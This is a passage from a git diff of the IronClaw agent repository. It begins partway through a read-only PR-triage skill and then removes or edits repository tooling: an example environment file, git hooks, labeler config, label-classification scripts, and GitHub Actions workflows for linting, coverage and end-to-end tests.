| **Config & Setup** | `src/config.rs`, `src/setup/`, `src/cli/` |
| **Sandbox & Orchestration** | `src/sandbox/`, `src/orchestrator/`, `src/worker/` |
| **Hooks & Extensions** | `src/hooks/`, `src/extensions/` |
| **Context & History** | `src/context/`, `src/history/`, `src/estimation/`, `src/evaluation/` |
| **Web Gateway** | `src/channels/web/` |
| **CI/CD & Docs** | `.github/`, `README.md`, `CLAUDE.md`, `*.md` (no src) |
| **Other** | Anything else |
If a PR touches multiple modules, assign it to the **primary** module (most files changed) but note the cross-cutting modules.
## Step 3: Assess review state
For each PR, determine its review status:
- **Approved** — At least one human APPROVED review, no outstanding CHANGES_REQUESTED
- **Changes requested** — At least one CHANGES_REQUESTED review still unresolved
- **Reviewed (comments only)** — Human comments but no formal approve/reject
- **Automated only** — Only bot reviews (gemini-code-assist, copilot, etc.)
- **No review** — No reviews at all
Also check:
- CI status: `gh pr checks {number}` — PASS / FAIL / NONE
- Draft status: is the PR marked as draft?
- Staleness: how many days since `updatedAt`?
## Step 4: Determine scope and risk
Classify each PR by scope:
| Scope | Criteria |
|-------|----------|
| **Tiny** | <50 lines changed (additions + deletions), 1-2 files |
| **Small** | 50-200 lines, 1-5 files |
| **Medium** | 200-500 lines, 3-10 files |
| **Large** | 500-2000 lines, 5-20 files |
| **XL** | 2000+ lines or 20+ files |
## Step 5: Classify as fix vs. architectural
For each PR, determine its nature:
### Fixes (merge fast)
- Bug fixes with clear root cause
- Security patches
- Crash/panic prevention
- Typo/doc corrections
- Code quality (removing .unwrap(), etc.)
### Features (standard review)
- New functionality within existing patterns
- New tool implementations
- Configuration additions
- Test additions
### Architectural (deep review needed)
- New modules or subsystems
- Changes to core traits or interfaces
- New database backends or storage engines
- New provider abstractions
- Changes touching 5+ modules
- Anything modifying the agent loop, session model, or security layer
- New dependencies (check Cargo.toml changes)
## Step 6: Detect conflicts and superseded PRs
Check for:
- Multiple PRs fixing the same issue (look at "Closes #N" / "Fixes #N" in PR bodies)
- PRs touching the same files (potential merge conflicts)
- PRs that are follow-ups to other open PRs (dependency chains)
- PRs superseded by recently merged work
## Step 7: Produce the dashboard
Present the output in this format:
### Quick Stats
```
Open: N | Draft: N | Needs review: N | Changes requested: N | Ready to merge: N
```
### Ready to Merge
PRs that are approved, CI passing, and non-draft. List with one-line summary.
### Needs Human Review (Fixes)
Fixes that have no human review yet, sorted by severity (security > crash > bug > quality).
### Needs Human Review (Features)
Features with no human review, sorted by scope (smallest first).
### Needs Deep Architectural Review
Large/XL PRs, new modules, or cross-cutting changes. For each, include:
- Which modules are affected
- What new patterns or abstractions are introduced
- Key risk areas to focus review on
### Changes Requested (Waiting on Author)
PRs where a reviewer asked for changes. Include who requested and a 1-line summary of what's needed.
### Stale / Blocked
PRs with no activity >7 days, or blocked by other PRs.
### Conflicts & Overlaps
Any detected conflicts, superseded PRs, or dependency chains.
### By Module
Group all PRs by their primary module in a compact table:
| Module | PRs | Key PR to review first |
|--------|-----|----------------------|
### Superseded PRs (recommend closing)
PRs that are clearly superseded by merged work. Include reasoning.
## Rules
- Use `gh` CLI for all GitHub operations. Never guess PR state — always check.
- For large PR lists (>15), use the Task tool to parallelize fetching PR details and diffs.
- Be concise in summaries. One line per PR in tables.
- When assessing "ready to merge", be conservative. If there's any unresolved concern from a repo member, it's not ready.
- Flag any PR that has been open >14 days with no review as needing attention.
- If a PR description says "Closes #N" but #N was already closed by another merged PR, flag it as potentially superseded.
- Do NOT post comments or take any action on PRs. This skill is read-only analysis.
-8
View File
@@ -1,8 +0,0 @@
target/
.git/
.env
.env.*
*.md
!CLAUDE.md
node_modules/
tools-src/
+8 -104
View File
@@ -1,86 +1,15 @@
# Database Configuration
DATABASE_URL=postgres://localhost/ironclaw
DATABASE_URL=postgres://ironclaw:password@localhost:5432/ironclaw
DATABASE_POOL_SIZE=10
# LLM Provider
# LLM_BACKEND=nearai # default
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
# === Anthropic Direct ===
# Two auth modes:
# 1. API key: Set ANTHROPIC_API_KEY (from console.anthropic.com/settings/keys)
# 2. OAuth token: Set ANTHROPIC_OAUTH_TOKEN (from `claude login`)
# OAuth tokens use Authorization: Bearer instead of x-api-key header.
# ANTHROPIC_API_KEY=sk-ant-...
# ANTHROPIC_OAUTH_TOKEN=sk-ant-oat01-... # from `claude login` credentials
# ANTHROPIC_MODEL=claude-sonnet-4-20250514
# === OpenAI Direct ===
# OPENAI_API_KEY=sk-...
# === NEAR AI (Chat Completions API) ===
# Two auth modes:
# 1. Session token (default): Uses browser OAuth (GitHub/Google) on first run.
# Session token stored in ~/.ironclaw/session.json automatically.
# Base URL defaults to https://private.near.ai
# 2. API key: Set NEARAI_API_KEY to use API key auth from cloud.near.ai.
# Base URL defaults to https://cloud-api.near.ai
NEARAI_MODEL=zai-org/GLM-5-FP8
NEARAI_BASE_URL=https://private.near.ai
# LLM Provider (NEAR AI)
# NEAR AI provides a unified interface to all models with user authentication
# Session token is stored in ~/.near-agent/session.json and managed automatically.
# On first run, the agent will open a browser for OAuth authentication.
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://cloud-api.near.ai
NEARAI_AUTH_URL=https://private.near.ai
# NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
# NEARAI_API_KEY=... # API key from cloud.near.ai
# Local LLM Providers (Ollama, LM Studio, vLLM, LiteLLM)
# === Ollama ===
# OLLAMA_MODEL=llama3.2
# LLM_BACKEND=ollama
# OLLAMA_BASE_URL=http://localhost:11434 # default
# === OpenAI-compatible (LM Studio, vLLM, Anything-LLM) ===
# LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=http://localhost:1234/v1
# LLM_API_KEY=sk-... # optional for local servers
# Custom HTTP headers for OpenAI-compatible providers
# Format: comma-separated key:value pairs
# LLM_EXTRA_HEADERS=HTTP-Referer:https://github.com/nearai/ironclaw,X-Title:ironclaw
# === OpenRouter (300+ models via OpenAI-compatible) ===
# LLM_MODEL=anthropic/claude-sonnet-4 # see openrouter.ai/models for IDs
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://openrouter.ai/api/v1
# LLM_API_KEY=sk-or-...
# LLM_EXTRA_HEADERS=HTTP-Referer:https://myapp.com,X-Title:MyApp
# === Together AI (via OpenAI-compatible) ===
# LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.together.xyz/v1
# LLM_API_KEY=...
# === Fireworks AI (via OpenAI-compatible) ===
# LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
# LLM_API_KEY=fw_...
# === Anthropic Direct ===
# LLM_BACKEND=anthropic
# ANTHROPIC_MODEL=claude-sonnet-4-6
# ANTHROPIC_API_KEY=sk-ant-...
# ANTHROPIC_BASE_URL=https://api.anthropic.com # default
# Prompt cache retention — controls Anthropic server-side prompt caching:
# none = disabled (no cache_control injected)
# short = 5-minute TTL, 1.25× (125%) write surcharge (default)
# long = 1-hour TTL, 2.0× (200%) write surcharge
# ANTHROPIC_CACHE_RETENTION=short
# For full provider setup guide see docs/LLM_PROVIDERS.md
# NEARAI_SESSION_PATH=~/.near-agent/session.json # optional, default shown
# Channel Configuration
# CLI is always enabled
@@ -98,17 +27,6 @@ HTTP_HOST=0.0.0.0
HTTP_PORT=8080
HTTP_WEBHOOK_SECRET=your-webhook-secret
# Signal Channel (optional, requires signal-cli daemon --http)
# SIGNAL_HTTP_URL=http://127.0.0.1:8080
# SIGNAL_ACCOUNT=+1234567890
# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing
# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups
# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing
# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled
# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM
# SIGNAL_IGNORE_ATTACHMENTS=false
# SIGNAL_IGNORE_STORIES=true
# Agent Settings
AGENT_NAME=ironclaw
AGENT_MAX_PARALLEL_JOBS=5
@@ -128,23 +46,9 @@ HEARTBEAT_INTERVAL_SECS=1800
HEARTBEAT_NOTIFY_CHANNEL=cli
HEARTBEAT_NOTIFY_USER=default
# Memory hygiene settings (automatic cleanup of stale workspace documents)
# Runs on each heartbeat tick; identity files (IDENTITY.md, SOUL.md) are never deleted
# MEMORY_HYGIENE_ENABLED=true
# MEMORY_HYGIENE_DAILY_RETENTION_DAYS=30 # delete daily/ docs older than this many days
# MEMORY_HYGIENE_CONVERSATION_RETENTION_DAYS=7 # delete conversations/ docs older than this many days
# MEMORY_HYGIENE_CADENCE_HOURS=12 # minimum hours between cleanup passes
# Safety settings
SAFETY_MAX_OUTPUT_LENGTH=100000
SAFETY_INJECTION_CHECK_ENABLED=true
# Restart Feature (Docker containers only)
# Set IRONCLAW_IN_DOCKER=true in the container entrypoint to enable the restart feature.
# Without this, the restart tool and /restart command will be disabled.
# IRONCLAW_IN_DOCKER=false
# IRONCLAW_RESTART_DELAY=5 # default wait before exit (seconds, range: 1-30)
# IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
# Logging
RUST_LOG=ironclaw=debug,tower_http=debug
-1
View File
@@ -1 +0,0 @@
tests/test-pages/**/*.html linguist-generated=true
-1
View File
@@ -1 +0,0 @@
../scripts/commit-msg-regression.sh
-24
View File
@@ -1,24 +0,0 @@
#!/usr/bin/env bash
set -euo pipefail
# Pre-commit hook: run version bump checks when WIT or extension sources change.
# Install: git config core.hooksPath .githooks
# Only run the check if relevant files are staged
STAGED=$(git diff --cached --name-only)
NEEDS_CHECK=false
if echo "$STAGED" | grep -qE '^wit/|^channels-src/|^tools-src/'; then
NEEDS_CHECK=true
fi
if $NEEDS_CHECK; then
echo "pre-commit: checking version bumps..."
if ! ./scripts/check-version-bumps.sh; then
echo ""
echo "Commit blocked: version bump check failed."
echo "Bump versions in the relevant registry JSON and/or WIT package declaration."
echo "To bypass: git commit --no-verify"
exit 1
fi
fi
-166
View File
@@ -1,166 +0,0 @@
# Scope labels for actions/labeler@v6
# Maps file path globs to scope labels. Multiple labels can apply per PR.
"scope: agent":
- changed-files:
- any-glob-to-any-file:
- src/agent/**
"scope: channel":
- changed-files:
- any-glob-to-any-file:
- src/channels/channel.rs
- src/channels/manager.rs
- src/channels/mod.rs
"scope: channel/cli":
- changed-files:
- any-glob-to-any-file:
- src/channels/cli/**
- src/cli/**
"scope: channel/web":
- changed-files:
- any-glob-to-any-file:
- src/channels/web/**
"scope: channel/wasm":
- changed-files:
- any-glob-to-any-file:
- src/channels/wasm/**
"scope: tool":
- changed-files:
- any-glob-to-any-file:
- src/tools/tool.rs
- src/tools/registry.rs
- src/tools/mod.rs
- src/tools/sandbox.rs
"scope: tool/builtin":
- changed-files:
- any-glob-to-any-file:
- src/tools/builtin/**
"scope: tool/wasm":
- changed-files:
- any-glob-to-any-file:
- src/tools/wasm/**
"scope: tool/mcp":
- changed-files:
- any-glob-to-any-file:
- src/tools/mcp/**
"scope: tool/builder":
- changed-files:
- any-glob-to-any-file:
- src/tools/builder/**
"scope: db":
- changed-files:
- any-glob-to-any-file:
- src/db/mod.rs
"scope: db/postgres":
- changed-files:
- any-glob-to-any-file:
- src/db/postgres.rs
- migrations/**
"scope: db/libsql":
- changed-files:
- any-glob-to-any-file:
- src/db/libsql_backend.rs
- src/db/libsql_migrations.rs
"scope: safety":
- changed-files:
- any-glob-to-any-file:
- src/safety/**
"scope: llm":
- changed-files:
- any-glob-to-any-file:
- src/llm/**
"scope: workspace":
- changed-files:
- any-glob-to-any-file:
- src/workspace/**
"scope: orchestrator":
- changed-files:
- any-glob-to-any-file:
- src/orchestrator/**
"scope: worker":
- changed-files:
- any-glob-to-any-file:
- src/worker/**
"scope: secrets":
- changed-files:
- any-glob-to-any-file:
- src/secrets/**
"scope: config":
- changed-files:
- any-glob-to-any-file:
- src/config.rs
- src/settings.rs
"scope: extensions":
- changed-files:
- any-glob-to-any-file:
- src/extensions/**
"scope: setup":
- changed-files:
- any-glob-to-any-file:
- src/setup/**
"scope: evaluation":
- changed-files:
- any-glob-to-any-file:
- src/evaluation/**
"scope: estimation":
- changed-files:
- any-glob-to-any-file:
- src/estimation/**
"scope: sandbox":
- changed-files:
- any-glob-to-any-file:
- src/sandbox/**
- Dockerfile*
"scope: hooks":
- changed-files:
- any-glob-to-any-file:
- src/hooks/**
"scope: pairing":
- changed-files:
- any-glob-to-any-file:
- src/pairing/**
"scope: ci":
- changed-files:
- any-glob-to-any-file:
- .github/workflows/**
- .github/scripts/**
"scope: docs":
- changed-files:
- any-glob-to-any-file:
- "**/*.md"
- docs/**
- LICENSE*
"scope: dependencies":
- changed-files:
- any-glob-to-any-file:
- Cargo.toml
- Cargo.lock
-74
View File
@@ -1,74 +0,0 @@
#!/usr/bin/env bash
# Idempotent label bootstrap for IronClaw PR automation.
# Uses `gh label create --force` so it can be re-run safely.
#
# Usage: bash .github/scripts/create-labels.sh
# Requires: gh CLI authenticated with repo scope
set -euo pipefail
if ! command -v gh &>/dev/null; then
echo "Error: gh CLI is required. Install from https://cli.github.com" >&2
exit 1
fi
create() {
local name="$1" color="$2" description="$3"
gh label create "$name" --color "$color" --description "$description" --force
}
echo "==> Creating size labels..."
create "size: XS" "F9D0C4" "< 10 changed lines (excluding docs)"
create "size: S" "F5A3A3" "10-49 changed lines"
create "size: M" "E57373" "50-199 changed lines"
create "size: L" "D32F2F" "200-499 changed lines"
create "size: XL" "B71C1C" "500+ changed lines"
echo "==> Creating risk labels..."
create "risk: low" "4CAF50" "Changes to docs, tests, or low-risk modules"
create "risk: medium" "FFC107" "Business logic, config, or moderate-risk modules"
create "risk: high" "F44336" "Safety, secrets, auth, or critical infrastructure"
create "risk: manual" "9E9E9E" "Risk level set manually (sticky, not overwritten)"
echo "==> Creating scope labels..."
create "scope: agent" "006B75" "Agent core (agent loop, router, scheduler)"
create "scope: channel" "00838F" "Channel infrastructure"
create "scope: channel/cli" "00897B" "TUI / CLI channel"
create "scope: channel/web" "00796B" "Web gateway channel"
create "scope: channel/wasm" "00695C" "WASM channel runtime"
create "scope: tool" "1565C0" "Tool infrastructure"
create "scope: tool/builtin" "1976D2" "Built-in tools"
create "scope: tool/wasm" "1E88E5" "WASM tool sandbox"
create "scope: tool/mcp" "2196F3" "MCP client"
create "scope: tool/builder" "42A5F5" "Dynamic tool builder"
create "scope: db" "4A148C" "Database trait / abstraction"
create "scope: db/postgres" "6A1B9A" "PostgreSQL backend"
create "scope: db/libsql" "7B1FA2" "libSQL / Turso backend"
create "scope: safety" "880E4F" "Prompt injection defense"
create "scope: llm" "4527A0" "LLM integration"
create "scope: workspace" "283593" "Persistent memory / workspace"
create "scope: orchestrator" "0D47A1" "Container orchestrator"
create "scope: worker" "01579B" "Container worker"
create "scope: secrets" "BF360C" "Secrets management"
create "scope: config" "E65100" "Configuration"
create "scope: extensions" "33691E" "Extension management"
create "scope: setup" "827717" "Onboarding / setup"
create "scope: evaluation" "558B2F" "Success evaluation"
create "scope: estimation" "9E9D24" "Cost/time estimation"
create "scope: sandbox" "00BFA5" "Docker sandbox"
create "scope: hooks" "6D4C41" "Git/event hooks"
create "scope: pairing" "4E342E" "Pairing mode"
create "scope: ci" "546E7A" "CI/CD workflows"
create "scope: docs" "78909C" "Documentation"
create "scope: dependencies" "90A4AE" "Dependency updates"
echo "==> Creating workflow labels..."
create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test"
echo "==> Creating contributor labels..."
create "contributor: new" "FFF9C4" "First-time contributor"
create "contributor: regular" "FFE082" "2-5 merged PRs"
create "contributor: experienced" "FFB74D" "6-19 merged PRs"
create "contributor: core" "FF8A65" "20+ merged PRs"
echo "Done. All labels created/updated."
-139
View File
@@ -1,139 +0,0 @@
#!/usr/bin/env bash
# Classify a PR by size, risk, and contributor tier.
# Called by the pr-label-classify workflow.
#
# Inputs (env vars):
# PR_NUMBER — pull request number
# REPO — owner/repo (e.g. "user/ironclaw")
#
# Requires: gh CLI, jq
set -euo pipefail
PR_NUMBER="${PR_NUMBER:?PR_NUMBER is required}"
REPO="${REPO:?REPO is required}"
# ─── helpers ────────────────────────────────────────────────────────────────
# Remove all labels in a dimension except the desired one.
# Usage: set_exclusive_label "size" "size: M"
set_exclusive_label() {
local prefix="$1" desired="$2"
# Fetch current labels on the PR
local current
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
# Remove any existing label with the same prefix
while IFS= read -r label; do
[[ -z "$label" ]] && continue
if [[ "$label" == "${prefix}:"* && "$label" != "$desired" ]]; then
gh pr edit "$PR_NUMBER" --repo "$REPO" --remove-label "$label" 2>/dev/null || true
fi
done <<< "$current"
# Add the desired label
gh pr edit "$PR_NUMBER" --repo "$REPO" --add-label "$desired"
}
# ─── size ───────────────────────────────────────────────────────────────────
classify_size() {
# Sum changed lines across non-doc files
local total
total=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
--paginate --jq '
[.[] | select(.filename | test("\\.(md|txt|rst|adoc)$") | not) | .changes]
| add // 0
')
local label
if (( total < 10 )); then label="size: XS"
elif (( total < 50 )); then label="size: S"
elif (( total < 200 )); then label="size: M"
elif (( total < 500 )); then label="size: L"
else label="size: XL"
fi
echo "Size: ${total} changed lines -> ${label}"
set_exclusive_label "size" "$label"
}
# ─── risk ───────────────────────────────────────────────────────────────────
classify_risk() {
# If "risk: manual" is present, skip — it's a sticky override
local current
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
if echo "$current" | grep -qx "risk: manual"; then
echo "Risk: skipped (manual override)"
return
fi
# Fetch changed file paths
local files
files=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
--paginate --jq '.[].filename')
local risk="low"
while IFS= read -r file; do
[[ -z "$file" ]] && continue
case "$file" in
# High risk: safety, secrets, auth, crypto, setup, orchestrator auth
src/safety/*|src/secrets/*|src/llm/session.rs|src/orchestrator/auth.rs|\
src/channels/web/auth.rs|src/setup/*)
risk="high"
break # can't go higher
;;
# Medium risk: agent core, config, database, worker, tools, channels
src/agent/*|src/config.rs|src/settings.rs|src/db/*|src/worker/*|\
src/tools/*|src/channels/*|src/orchestrator/*|src/context/*|\
src/hooks/*|src/sandbox/*|src/extensions/*|Cargo.toml|\
.github/workflows/*)
# Only upgrade, never downgrade
[[ "$risk" != "high" ]] && risk="medium"
;;
# Low risk: docs, tests, estimation, evaluation, history, etc.
*)
;;
esac
done <<< "$files"
echo "Risk: ${risk}"
set_exclusive_label "risk" "risk: ${risk}"
}
# ─── contributor tier ───────────────────────────────────────────────────────
classify_contributor() {
# Get PR author
local author
author=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json author --jq '.author.login')
# Count merged PRs by this author in this repo
local count
count=$(gh pr list --repo "$REPO" --state merged --author "$author" \
--limit 100 --json number --jq 'length')
local label
if (( count == 0 )); then label="contributor: new"
elif (( count < 6 )); then label="contributor: regular"
elif (( count < 20 )); then label="contributor: experienced"
else label="contributor: core"
fi
echo "Contributor: ${author} has ${count} merged PRs -> ${label}"
set_exclusive_label "contributor" "$label"
}
# ─── main ───────────────────────────────────────────────────────────────────
echo "Classifying PR #${PR_NUMBER} in ${REPO}..."
classify_size
classify_risk
classify_contributor
echo "Done."
-82
View File
@@ -1,82 +0,0 @@
name: Code Style
on:
pull_request:
jobs:
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt
- name: Check formatting
run: cargo fmt --all -- --check
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
clippy-windows:
name: Clippy Windows (${{ matrix.name }})
runs-on: windows-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-windows-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
code-style:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy, clippy-windows]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" || "${{ needs.clippy-windows.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
-226
View File
@@ -1,226 +0,0 @@
# Code Coverage Workflow
#
# This workflow runs test coverage analysis and uploads reports to Codecov.
# Coverage reports help identify untested code paths and maintain code quality.
#
# What it does:
# - Runs unit and integration tests with coverage instrumentation
# - Runs E2E tests with coverage instrumentation
# - Uploads coverage reports to Codecov (https://codecov.io/gh/nearai/ironclaw)
#
# Viewing coverage reports:
# - PRs automatically get coverage comments showing changes in coverage
# - Visit https://codecov.io/gh/nearai/ironclaw for detailed coverage reports
# - Coverage reports are generated for three configurations:
# 1. all-features: Full feature set
# 2. default: Default features
# 3. libsql-only: Minimal libSQL-only configuration
# - E2E coverage tracks end-to-end test coverage separately
#
# Coverage files:
# - Unit/integration: lcov.info (uploaded to Codecov with "unit" flag)
# - E2E: e2e-coverage.info (uploaded to Codecov with "e2e" flag)
#
# Requirements:
# - Uses cargo-llvm-cov for coverage instrumentation
# - Requires PostgreSQL for integration tests (pgvector/pgvector:pg16)
# - E2E tests require Python 3.12 and Playwright
name: Code Coverage
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
coverage:
name: Coverage (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
has_postgres: true
- name: default
flags: ""
has_postgres: true
- name: libsql-only
flags: "--no-default-features --features libsql"
has_postgres: false
services:
postgres:
image: pgvector/pgvector:pg16
env:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
POSTGRES_DB: ironclaw_test
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
with:
components: llvm-tools-preview
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: coverage-${{ matrix.name }}
- name: Install cargo-llvm-cov
uses: taiki-e/install-action@cargo-llvm-cov
- name: Install cargo-component
run: |
if ! command -v cargo-component >/dev/null 2>&1; then
cargo install cargo-component --locked
fi
- name: Build WASM channels (for integration tests)
run: ./scripts/build-wasm-extensions.sh --channels
- name: Run database migrations
if: matrix.has_postgres
run: |
set -euo pipefail
readarray -t migration_files < <(printf '%s\n' migrations/V*.sql | sort -V)
for f in "${migration_files[@]}"; do
echo "Applying $f..."
psql -v ON_ERROR_STOP=1 -f "$f"
done
env:
PGHOST: localhost
PGUSER: postgres
PGPASSWORD: postgres
PGDATABASE: ironclaw_test
- name: Set DATABASE_URL for postgres configs
if: matrix.has_postgres
run: echo "DATABASE_URL=postgres://postgres:postgres@localhost/ironclaw_test" >> "$GITHUB_ENV"
- name: Generate coverage
run: cargo llvm-cov ${{ matrix.flags }} --workspace --lcov --output-path lcov.info
- name: Upload to Codecov
uses: codecov/codecov-action@v5
with:
files: lcov.info
flags: ${{ matrix.name }}
disable_search: true
use_oidc: true
fail_ci_if_error: true
e2e-coverage:
name: E2E Coverage
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
with:
components: llvm-tools-preview
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: e2e-coverage
- name: Install cargo-llvm-cov
uses: taiki-e/install-action@cargo-llvm-cov
- name: Install cargo-component
run: |
if ! command -v cargo-component >/dev/null 2>&1; then
cargo install cargo-component --locked
fi
- name: Build WASM channels
run: ./scripts/build-wasm-extensions.sh --channels
- name: Set up coverage instrumentation
run: |
# show-env outputs shell-quoted values (KEY='value') but GITHUB_ENV
# expects unquoted KEY=value. Strip only the wrapping single quotes
# from KEY='value' lines without altering any internal characters.
cargo llvm-cov show-env | sed -E "s/^([A-Za-z_][A-Za-z0-9_]*)='(.*)'$/\1=\2/" >> "$GITHUB_ENV"
- name: Clean coverage workspace
run: cargo llvm-cov clean --workspace
- name: Build instrumented binary
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: |
pytest tests/e2e/ -v -x --timeout=120
env:
RUST_LOG: ironclaw=info
RUST_BACKTRACE: "1"
- name: Verify profraw files exist
if: always()
run: |
echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}"
echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}"
profraw_count=$(find target/ -name '*.profraw' 2>/dev/null | wc -l)
echo "Found ${profraw_count} .profraw files under target/"
find target/ -name '*.profraw' 2>/dev/null || true
if [ "$profraw_count" -eq 0 ]; then
echo "::warning::No .profraw files found — coverage report will fail"
fi
- name: Generate coverage report
if: always()
run: cargo llvm-cov report --lcov --output-path e2e-coverage.info
- name: Upload to Codecov
if: always()
uses: codecov/codecov-action@v5
with:
files: e2e-coverage.info
flags: e2e
disable_search: true
use_oidc: true
fail_ci_if_error: true
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
coverage-gate:
name: Coverage
runs-on: ubuntu-latest
if: always()
needs: [coverage, e2e-coverage]
steps:
- run: |
if [[ "${{ needs.coverage.result }}" != "success" || "${{ needs.e2e-coverage.result }}" != "success" ]]; then
echo "One or more coverage jobs failed"
exit 1
fi
-99
View File
@@ -1,99 +0,0 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
# ── Step 1: compile once ──────────────────────────────────────────────────
build:
name: Build ironclaw (libsql)
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build
run: cargo build --no-default-features --features libsql
- name: Upload binary
uses: actions/upload-artifact@v4
with:
name: ironclaw-e2e-binary
path: target/debug/ironclaw
retention-days: 1
# ── Step 2: run test slices in parallel ───────────────────────────────────
test:
name: E2E (${{ matrix.group }})
needs: build
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false
matrix:
include:
- group: core
files: "tests/e2e/scenarios/test_connection.py tests/e2e/scenarios/test_chat.py tests/e2e/scenarios/test_sse_reconnect.py tests/e2e/scenarios/test_html_injection.py"
- group: features
files: "tests/e2e/scenarios/test_skills.py tests/e2e/scenarios/test_tool_approval.py"
- group: extensions
files: "tests/e2e/scenarios/test_extensions.py"
steps:
- uses: actions/checkout@v6
- name: Download binary
uses: actions/download-artifact@v4
with:
name: ironclaw-e2e-binary
path: target/debug/
- name: Make binary executable
run: chmod +x target/debug/ironclaw
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests (${{ matrix.group }})
run: pytest ${{ matrix.files }} -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots-${{ matrix.group }}
path: tests/e2e/screenshots/
if-no-files-found: ignore
# ── Roll-up for branch protection ────────────────────────────────────────
e2e:
name: E2E Tests
runs-on: ubuntu-latest
if: always()
needs: [test]
steps:
- run: |
if [[ "${{ needs.test.result }}" != "success" ]]; then
echo "One or more E2E jobs failed"
exit 1
fi
-26
View File
@@ -1,26 +0,0 @@
name: "PR: Classify (Size, Risk, Contributor)"
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
pull-requests: write
issues: read # needed for search/issues API (contributor count)
jobs:
classify:
runs-on: ubuntu-latest
steps:
- name: Checkout base branch
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.base.ref }}
- name: Classify PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ github.event.pull_request.number }}
REPO: ${{ github.repository }}
run: bash .github/scripts/pr-labeler.sh
-18
View File
@@ -1,18 +0,0 @@
name: "PR: Scope Labels"
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
pull-requests: write
jobs:
scope:
runs-on: ubuntu-latest
steps:
